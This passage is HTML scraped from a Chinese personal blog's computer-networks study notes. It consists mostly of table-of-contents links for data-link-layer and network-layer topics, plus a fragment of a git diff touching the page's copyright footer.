class="toc-text">经典以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">3.1.1.</span> <span class="toc-text">经典以太网物理层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91-MAC-%E5%AD%90%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.1.2.</span> <span class="toc-text">经典以太网 MAC 子层协议</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E5%B8%A7%E7%BB%93%E6%9E%84"><span class="toc-number">3.1.3.</span> <span class="toc-text">以太网帧结构</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%8C%87%E6%95%B0%E5%90%8E%E9%80%80%E7%9A%84-CSMA-CA"><span class="toc-number">3.1.4.</span> <span class="toc-text">二进制指数后退的 CSMA&#x2F;CA</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E6%80%A7%E8%83%BD"><span class="toc-number">3.1.5.</span> <span class="toc-text">以太网性能</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E5%BC%8F%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.2.</span> <span class="toc-text">交换式以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%86%B2%E7%AA%81%E5%9F%9F%EF%BC%88collision-domain%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">冲突域（collision domain）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84%E5%A5%BD%E5%A4%84"><span class="toc-number">3.2.2.</span> <span class="toc-text">交换机的好处</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E4%BB%A5%E5%A4%AA%E7%BD%91-802-3u-1995"><span class="toc-number">3.2.3.</span> <span class="toc-text">快速以太网 802.3u, 1995</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%83%E5%85%86%E4%BB%A5%E5%A4%AA%E7%BD%91-802-3ab-1999"><span class="toc-number">3.2.4.</span> <span class="toc-text">千兆以太网 802.3ab, 1999</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%87%E5%85%86%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.2.5.</span> <span class="toc-text">万兆以太网</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E5%9B%9E%E9%A1%BE"><span class="toc-number">3.3.</span> <span class="toc-text">以太网回顾</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91"><span class="toc-number">4.</span> <span class="toc-text">无线局域网*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84%E5%92%8C%E5%8D%8F%E8%AE%AE%E6%A0%88"><span class="toc-number">4.1.</span> <span class="toc-text">802.11 体系结构和协议栈</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">4.2.</span> <span class="toc-text">802.11 物理层</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-MAC-%E5%AD%90%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.3.</span> <span class="toc-text">802.11 MAC 子层协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E5%B8%A7%E7%BB%93%E6%9E%84"><span class="toc-number">4.4.</span> <span class="toc-text">802.11 帧结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1"><span class="toc-number">4.5.</span> <span class="toc-text">服务</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%BD%E5%B8%A6%E6%97%A0%E7%BA%BF"><span class="toc-number">5.</span> <span class="toc-text">宽带无线*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%93%9D%E7%89%99"><span class="toc-number">6.</span> <span class="toc-text">蓝牙*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#RFID-%E2%80%94%E2%80%94-%E6%97%A0%E7%BA%BF%E9%A2%91%E5%B0%84%E8%AF%86%E5%88%AB"><span class="toc-number">7.</span> <span class="toc-text">RFID —— 无线频射识别*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E4%BA%A4%E6%8D%A2"><span class="toc-number">8.</span> <span class="toc-text">数据链路层交换</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BD%91%E6%A1%A5%E7%9A%84%E4%BD%BF%E7%94%A8"><span class="toc-number">8.1.</span> <span class="toc-text">网桥的使用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%A6%E4%B9%A0%E7%BD%91%E6%A1%A5"><span class="toc-number">8.2.</span> <span class="toc-text">学习网桥</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E8%BF%87%E7%A8%8B"><span class="toc-number">8.2.1.</span> <span class="toc-text">路由过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%8E%E5%90%91%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95"><span class="toc-number">8.2.2.</span> <span class="toc-text">后向学习算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E6%A1%A5%E8%AE%BE%E8%AE%A1"><span class="toc-number">8.2.3.</span> <span class="toc-text">网桥设计</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%A0%91%E7%BD%91%E6%A1%A5"><span class="toc-number">8.3.</span> <span class="toc-text">生成树网桥</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%A0%91%E7%AE%97%E6%B3%95%EF%BC%88STA-Spanning-Tree-Algorithm%EF%BC%89"><span class="toc-number">8.3.1.</span> <span class="toc-text">生成树算法（STA ,Spanning Tree Algorithm）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7%E5%99%A8%EF%BC%8C%E9%9B%86%E7%BA%BF%E5%99%A8%EF%BC%8C%E7%BD%91%E6%A1%A5%EF%BC%8C%E4%BA%A4%E6%8D%A2%E6%9C%BA%EF%BC%8C%E8%B7%AF%E7%94%B1%EF%BC%8C%E7%BD%91%E5%85%B3"><span class="toc-number">8.4.</span> <span class="toc-text">中继器，集线器，网桥，交换机，路由，网关</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">8.4.1.</span> <span class="toc-text">物理层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82"><span class="toc-number">8.4.2.</span> <span class="toc-text">数据链路层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">8.4.3.</span> <span class="toc-text">网络层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82"><span class="toc-number">8.4.4.</span> <span class="toc-text">传输层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82"><span class="toc-number">8.4.5.</span> <span class="toc-text">应用层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BA%BF%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">8.4.6.</span> <span class="toc-text">交换机和集线器的区别</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">8.4.7.</span> <span class="toc-text">交换机和路由器的区别</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%88VALN%EF%BC%89"><span class="toc-number">8.5.</span> <span class="toc-text">虚拟局域网（VALN）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IEEE-802-1Q-%E6%A0%87%E5%87%86"><span class="toc-number">8.5.1.</span> <span class="toc-text">IEEE 802.1Q 标准</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#VLAN-%E4%B8%AD%E7%BB%A7%EF%BC%88Trunking%EF%BC%89"><span class="toc-number">8.5.2.</span> <span class="toc-text">VLAN 中继（Trunking）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IEEE-802-1Q-%E5%B8%A7"><span class="toc-number">8.5.3.</span> <span class="toc-text">IEEE 802.1Q 帧</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas 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diff --git a/2018/06/15/Notes/Computer Networks/The-Network-Layer/index.html b/2018/06/15/Notes/Computer Networks/The-Network-Layer/index.html
index 1b2e2b04e..834fca0f4 100644
--- a/2018/06/15/Notes/Computer Networks/The-Network-Layer/index.html	
+++ b/2018/06/15/Notes/Computer Networks/The-Network-Layer/index.html	
@@ -1964,7 +1964,7 @@ <h2 id="移动-IP"><a href="#移动-IP" class="headerlink" title="移动 IP *"><
 <li>发给移动主机的大多数数据包不应该绕道而行</li>
 <li>移动主机在家时不应该有任何开销</li>
 </ol>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/15/Notes/Computer%20Networks/The-Network-Layer/">https://jckling.github.io/2018/06/15/Notes/Computer Networks/The-Network-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">网络层设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%98%E5%82%A8-%E8%BD%AC%E5%8F%91%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2"><span class="toc-number">1.1.</span> <span class="toc-text">存储-转发数据包交换</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.2.</span> <span class="toc-text">提供给传输层的服务</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%9E%E7%8E%B0"><span class="toc-number">1.3.</span> <span class="toc-text">无连接服务的实现</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%9E%E7%8E%B0"><span class="toc-number">1.4.</span> <span class="toc-text">面向连接服务的实现</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%87%E7%AD%BE%E4%BA%A4%E6%8D%A2%EF%BC%88label-switching%EF%BC%89"><span class="toc-number">1.4.1.</span> <span class="toc-text">标签交换（label switching）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E7%94%B5%E8%B7%AF%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8A%A5%E7%BD%91%E7%BB%9C%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">1.5.</span> <span class="toc-text">虚电路与数据报网络的比较</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E7%AE%97%E6%B3%95"><span class="toc-number">2.</span> <span class="toc-text">路由算法</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%98%E5%8C%96%E5%8E%9F%E5%88%99%EF%BC%88optimality-principle%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">优化原则（optimality principle）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B1%87%E9%9B%86%E6%A0%91"><span class="toc-number">2.1.1.</span> <span class="toc-text">汇集树</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9B%BE%E6%8A%BD%E8%B1%A1"><span class="toc-number">2.1.2.</span> <span class="toc-text">图抽象</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%80%E7%9F%AD%E8%B7%AF%E5%BE%84%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.</span> <span class="toc-text">最短路径算法</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Dijkstra-%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.1.</span> <span class="toc-text">Dijkstra 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A0%E6%9D%83%E6%97%A0%E5%90%91%E5%9B%BE%E4%B8%8A%E7%9A%84%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.2.</span> <span class="toc-text">加权无向图上的算法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B3%9B%E6%B4%AA%EF%BC%88flooding%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">泛洪（flooding）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%A8%E9%80%94"><span class="toc-number">2.3.1.</span> <span class="toc-text">用途</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%B7%9D%E7%A6%BB%E7%9F%A2%E9%87%8F%E8%B7%AF%E7%94%B1"><span class="toc-number">2.4.</span> <span class="toc-text">距离矢量路由</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86"><span class="toc-number">2.4.1.</span> <span class="toc-text">工作原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#D-V-%E8%B7%AF%E7%94%B1%E4%BE%8B%E5%AD%90"><span class="toc-number">2.4.2.</span> <span class="toc-text">D-V 路由例子</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E7%A9%B7%E8%AE%A1%E6%95%B0%E9%97%AE%E9%A2%98"><span class="toc-number">2.4.3.</span> <span class="toc-text">无穷计数问题</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E8%B7%AF%E7%94%B1"><span class="toc-number">2.5.</span> <span class="toc-text">链路状态路由</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%91%E7%8E%B0%E9%82%BB%E5%B1%85"><span class="toc-number">2.5.1.</span> <span class="toc-text">发现邻居</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BE%E7%BD%AE%E9%93%BE%E8%B7%AF%E6%88%90%E6%9C%AC"><span class="toc-number">2.5.2.</span> <span class="toc-text">设置链路成本</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9E%84%E9%80%A0%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E5%8C%85"><span class="toc-number">2.5.3.</span> <span class="toc-text">构造链路状态包</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E5%8F%91%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E5%8C%85"><span class="toc-number">2.5.4.</span> <span class="toc-text">分发链路状态包</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%B9%B4%E9%BE%84%EF%BC%88age%EF%BC%89%E5%AD%97%E6%AE%B5"><span class="toc-number">2.5.4.1.</span> <span class="toc-text">年龄（age）字段</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E6%96%B0%E8%B7%AF%E7%94%B1"><span class="toc-number">2.5.5.</span> <span class="toc-text">计算新路由</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E8%B7%AF%E7%94%B1%E6%80%BB%E7%BB%93"><span class="toc-number">2.5.6.</span> <span class="toc-text">链路状态路由总结</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E8%B7%AF%E7%94%B1%EF%BC%88hierarchical-hierarchy%EF%BC%89"><span class="toc-number">2.6.</span> <span class="toc-text">层次路由（hierarchical&#x2F;hierarchy）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B9%BF%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88broadcast%EF%BC%89"><span class="toc-number">2.7.</span> <span class="toc-text">广播路由（broadcast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%84%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88multicast%EF%BC%89"><span class="toc-number">2.8.</span> <span class="toc-text">组播路由（multicast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%BB%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88anycast%EF%BC%89"><span class="toc-number">2.9.</span> <span class="toc-text">任播路由（anycast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E4%B8%BB%E6%9C%BA%E8%B7%AF%E7%94%B1%EF%BC%88mobile-host%EF%BC%89"><span class="toc-number">2.10.</span> <span class="toc-text">移动主机路由（mobile host）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%87%AA%E7%BB%84%E7%BB%87%E7%BD%91%E7%BB%9C%E8%B7%AF%E7%94%B1%EF%BC%88ad-hoc-network%EF%BC%89"><span class="toc-number">2.11.</span> <span class="toc-text">自组织网络路由（ad hoc network）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E4%BA%92%E8%81%94%EF%BC%88internetwork%EF%BC%89"><span class="toc-number">3.</span> <span class="toc-text">网络互联（internetwork）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%A6%82%E4%BD%95%E4%B8%8D%E5%90%8C"><span class="toc-number">3.1.</span> <span class="toc-text">网络如何不同</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%95%E4%BB%A5%E8%BF%9E%E6%8E%A5%E7%BD%91%E7%BB%9C"><span class="toc-number">3.2.</span> <span class="toc-text">何以连接网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9A%A7%E9%81%93%EF%BC%88tunneling%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">隧道（tunneling）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E8%B7%AF%E7%94%B1"><span class="toc-number">3.4.</span> <span class="toc-text">互联网路由</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.</span> <span class="toc-text">数据包分段</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E5%BE%84-MTU"><span class="toc-number">3.5.1.</span> <span class="toc-text">路径 MTU</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%AE%B5%EF%BC%88Fragment%EF%BC%89"><span class="toc-number">3.5.2.</span> <span class="toc-text">分段（Fragment）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%80%8F%E6%98%8E%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.2.1.</span> <span class="toc-text">透明分段</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%9D%9E%E9%80%8F%E6%98%8E%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.2.2.</span> <span class="toc-text">非透明分段</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E5%BE%84-MTU-%E5%8F%91%E7%8E%B0%EF%BC%88path-MTU-discovery%EF%BC%89"><span class="toc-number">3.5.3.</span> <span class="toc-text">路径 MTU 发现（path MTU discovery）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Internet-%E7%9A%84%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">4.</span> <span class="toc-text">Internet 的网络层</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#IPv4-%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.1.</span> <span class="toc-text">IPv4 协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%AE%B5%E4%B8%BE%E4%BE%8B"><span class="toc-number">4.1.1.</span> <span class="toc-text">分段举例</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#IP-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.2.</span> <span class="toc-text">IP 地址</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%89%8D%E7%BC%80%EF%BC%88prefix%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">前缀（prefix）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E5%8C%96%E5%9C%B0%E5%9D%80"><span class="toc-number">4.2.2.</span> <span class="toc-text">层次化地址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%90%E7%BD%91%EF%BC%88subnet%EF%BC%89"><span class="toc-number">4.2.3.</span> <span class="toc-text">子网（subnet）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CIDR-%E2%80%94%E2%80%94-%E6%97%A0%E7%B1%BB%E5%9F%9F%E9%97%B4%E8%B7%AF%E7%94%B1"><span class="toc-number">4.2.4.</span> <span class="toc-text">CIDR —— 无类域间路由</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E9%85%8D%E5%92%8C%E7%89%B9%E6%AE%8A%E5%AF%BB%E5%9D%80"><span class="toc-number">4.2.5.</span> <span class="toc-text">分配和特殊寻址</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#NAT-%E2%80%94%E2%80%94-%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.3.</span> <span class="toc-text">NAT —— 网络地址转换</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A8%E6%80%81-IP-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.3.1.</span> <span class="toc-text">动态 IP 地址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2-NAT%EF%BC%88RFC-3022%EF%BC%89"><span class="toc-number">4.3.2.</span> <span class="toc-text">网络地址转换 NAT（RFC 3022）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%9D%E7%95%99%E7%9A%84-IP-%E5%9C%B0%E5%9D%80%EF%BC%88reserved%EF%BC%89"><span class="toc-number">4.3.3.</span> <span class="toc-text">保留的 IP 地址（reserved）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E6%93%8D%E4%BD%9C%E8%BF%87%E7%A8%8B"><span class="toc-number">4.3.4.</span> <span class="toc-text">NAT 操作过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E5%BA%94%E7%AD%94%E9%97%AE%E9%A2%98"><span class="toc-number">4.3.5.</span> <span class="toc-text">NAT 应答问题</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B"><span class="toc-number">4.3.6.</span> <span class="toc-text">TCP 连接建立</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%98%A0%E5%B0%84%E6%BA%90%E7%AB%AF%E5%8F%A3"><span class="toc-number">4.3.7.</span> <span class="toc-text">映射源端口</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E9%97%AE%E9%A2%98"><span class="toc-number">4.3.8.</span> <span class="toc-text">NAT 问题</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#IPv6"><span class="toc-number">4.4.</span> <span class="toc-text">IPv6</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%BB%E8%A6%81%E7%9A%84-IPv6-%E5%A4%B4"><span class="toc-number">4.4.1.</span> <span class="toc-text">主要的 IPv6 头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IPv6-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.4.2.</span> <span class="toc-text">IPv6 地址</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%89%A9%E5%B1%95%E5%A4%B4"><span class="toc-number">4.4.2.1.</span> <span class="toc-text">扩展头</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IPv4-%E5%92%8C-IPv6-%E7%9A%84%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.4.3.</span> <span class="toc-text">IPv4 和 IPv6 的转换</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.</span> <span class="toc-text">Internet 控制协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#ICMP-%E2%80%94%E2%80%94-Internet-%E6%8E%A7%E5%88%B6%E6%B6%88%E6%81%AF%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.1.</span> <span class="toc-text">ICMP —— Internet 控制消息协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ICMP-%E7%9A%84%E8%AF%B7%E6%B1%82-%E5%93%8D%E5%BA%94%E7%9B%AE%E7%9A%84"><span class="toc-number">4.5.1.1.</span> <span class="toc-text">ICMP 的请求 &#x2F; 响应目的</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%97%B6%E9%97%B4%E6%88%B3%E6%B6%88%E6%81%AF"><span class="toc-number">4.5.1.2.</span> <span class="toc-text">时间戳消息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ARP-%E2%80%94%E2%80%94-%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.2.</span> <span class="toc-text">ARP —— 地址解析协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E4%B8%8E-RARP"><span class="toc-number">4.5.2.1.</span> <span class="toc-text">ARP 与 RARP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" 